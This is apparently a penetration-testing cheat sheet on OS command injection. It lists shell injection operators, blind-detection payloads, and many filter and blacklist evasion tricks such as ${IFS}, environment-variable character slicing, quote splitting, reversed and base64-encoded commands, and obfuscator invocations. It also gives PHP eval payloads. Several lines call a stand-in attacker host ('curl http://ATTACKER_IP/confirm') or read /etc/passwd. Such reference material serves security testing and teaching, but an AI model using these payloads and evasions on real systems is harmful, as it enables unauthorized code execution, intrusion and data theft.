> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Command Injection

Command injection happens when user input ends up concatenated into a shell command the application runs server-side, a "ping this IP" feature, a file conversion tool, anything that shells out internally. If the input isn't sanitized, you're not injecting a payload into the application, you're writing directly into the operating system's command line.

> **Visible (In-Band)**
>
> Command output appears directly in the application's response. Confirm and move fast, this is the easy case.

> **Blind**
>
> No output returned. Confirm via time delay (`sleep`/`ping`) or out-of-band channel (DNS/HTTP callback to a server you control) instead.

***

## Injection Operators

Which operator works (and what gets executed) depends on the shell and on whether the original command succeeds or fails.

| Operator | Character | URL-Encoded | Behavior |
| - | - | - | - |
| Semicolon | `;` | `%3b` | Both commands run, regardless of success |
| New Line | `\n` | `%0a` | Both run. In Burp's Repeater, press Shift+Enter to insert a literal newline rather than submitting |
| Background | `&` | `%26` | Both run (second output is often shown first since it doesn't block) |
| Pipe | `\|` | `%7c` | Both run, but only the second command's output is shown |
| AND | `&&` | `%26%26` | Both run, only if the first succeeds |
| OR | `\|\|` | `%7c%7c` | Second only runs if the first fails |
| Sub-shell (backticks) | ` ` \` ` ` | `%60%60` | Both run, **Linux-only** |
| Sub-shell | `$()` | `%24%28%29` | Both run, **Linux-only** |

```text theme={null}
127.0.0.1; whoami
127.0.0.1 && whoami
127.0.0.1 || whoami
127.0.0.1%0a%09whoami
```

> [!TIP]
>
> `||` is particularly useful when you don't control the original input enough to guarantee success or failure, chaining `&&` onto an already-failing ping just never executes, while `||` only needs the legitimate command to fail once, often easy to force with a malformed IP.

***

## Confirming Blind Command Injection

When there's no visible output, a time delay proves execution without needing to see anything back.

```text theme={null}
127.0.0.1; sleep 5
127.0.0.1 && ping -c 5 127.0.0.1
```

> [!TIP]
>
> If even timing isn't observable (async processing, a queued job), an out-of-band callback confirms execution by making the target reach out to infrastructure you control instead. A DNS lookup is the most reliable OOB channel since it rarely gets blocked by egress filtering the way raw HTTP might.
>
> ```text theme={null}
> 127.0.0.1; nslookup YOUR_UNIQUE_SUBDOMAIN.burpcollaborator.net
> 127.0.0.1; curl http://ATTACKER_IP/confirm
> ```
>
> Burp Collaborator (or any DNS logging service you control) catches the callback and proves execution even with zero visible feedback.

***

## Filtered Character Bypasses

> **Spaces are filtered**
>
> ```text theme={null}
> %09                    # tab character in place of a space
> ${IFS}                 # expands to the shell's internal field separator (space+tab). Cannot be used inside $() sub-shells
> {ls,-la}               # brace expansion, commas get treated as argument separators instead of spaces
> ```

> **Forward slash ('/') is filtered**
>
> Both of these abuse a variable that's guaranteed to contain a `/` at a known offset, extracting just that character.
>
> ```text theme={null}
> # Linux
> ${PATH:0:1}
>
> # Windows
> %HOMEPATH:~6,-11%
> $env:HOMEPATH[0]
> ```

> **Semicolon (';') is filtered**
>
> Same idea, pulling a `;` out of an environment variable known to contain one.
>
> ```text theme={null}
> # Linux
> ${LS_COLORS:10:1}
>
> # Windows
> $env:PROGRAMFILES[10]
> ```

> **Specific characters are blocked entirely**
>
> `tr` can shift every character in a string by a fixed offset, letting you construct a blocked character from an allowed one and reverse the shift at execution time (see `man ascii` for the ordering).
>
> ```text theme={null}
> $(tr '!-}' '"-~'<<<[)    # shifts '[' forward by one position to produce '\'
> ```

***

## Blacklisted Command Name Bypasses

**Quote Insertion**

The shell strips matched quote pairs before executing, so splitting a blocked command name with empty quotes doesn't change what runs, just defeats a literal string match on the blacklist.

```text theme={null}
w'h'o'am'i
w"h"o"am"i
```

**Variable/Backslash Splitting (Linux only)**

```text theme={null}
who$@ami
w\ho\am\i
```

**Case Manipulation (Windows only)**

`cmd.exe` is case-insensitive, so mixed case still resolves to the same binary while dodging an exact-match blacklist.

```text theme={null}
who^ami
WHOAMI
WhOaMi
```

**Case Manipulation (Linux)**

Linux is case-sensitive, so case-bypassing a blacklist needs the shell to normalize the case back before execution.

```text theme={null}
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
```

**Reversed Command**

Write the command backward, then reverse it back at execution time, defeats a filter scanning for the forward string.

```text theme={null}
# Linux
echo 'whoami' | rev
$(rev<<<'imaohw')

# Windows
"whoami"[-1..-20] -join ''
iex "$('imaohw'[-1..-20] -join '')"
```

**Base64 Encoding**

Hides the payload from any filter doing a plaintext keyword match entirely.

```text theme={null}
echo -n 'cat /etc/passwd' | base64
bash<<<$(base64 -d<<< STRING_HERE)
```

***

## Obfuscation Tools

**Bashfuscator**

Automates obfuscating a bash payload well beyond what's practical to hand-craft, useful against signature-based WAF/IDS detection rather than a basic keyword blacklist.

```text theme={null}
./bashfuscator -c 'cat /etc/passwd'
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
```

**Invoke-DOSfuscation**

The PowerShell/cmd equivalent, obfuscates a Windows command the same way.

```text theme={null}
Import-Module .\Invoke-DOSfuscation.psd1
```

***

## Reverse Shell via Injection

Once you've confirmed command injection, chaining into a reverse shell is usually the next move, see the [Shells Cheatsheet](https://0-x.dev/shells.md) for the full reference.

***

## PHP Code Injection

Distinct from OS command injection, this targets an endpoint that evaluates PHP directly (often via `eval()` on user input) rather than shelling out to the OS. Worth testing both when a parameter looks dynamic, the payload and the impact are different even though they often get lumped together.

```text theme={null}
<url>?message=test;phpinfo()
<url>?message=test;system('whoami')
```

***

## Quick Reference Tools

> **[Hackviser: Command Injection](https://hackviser.com/tactics/pentesting/web/command-injection)**
>
> Reference used for this page.

> **[HackTricks: Command Injection](https://hacktricks.wiki/en/pentesting-web/command-injection.html)**
>
> Deeper dive into additional bypasses and edge cases.

> **[PayloadsAllTheThings: Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space)**
>
> Large categorized payload and bypass collection.

> **[Commix](https://github.com/commixproject/commix)**
>
> Automated command injection detection and exploitation tool.

> **[Bashfuscator](https://github.com/Bashfuscator/Bashfuscator)**
>
> Bash payload obfuscation framework.

> **[Invoke-DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation)**
>
> PowerShell/cmd payload obfuscation framework.

> [!WARNING]
>
> Command injection almost always means full code execution as the web server's user. Confirm scope explicitly before moving past a `whoami`/`sleep` confirmation into a reverse shell or data exfiltration.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.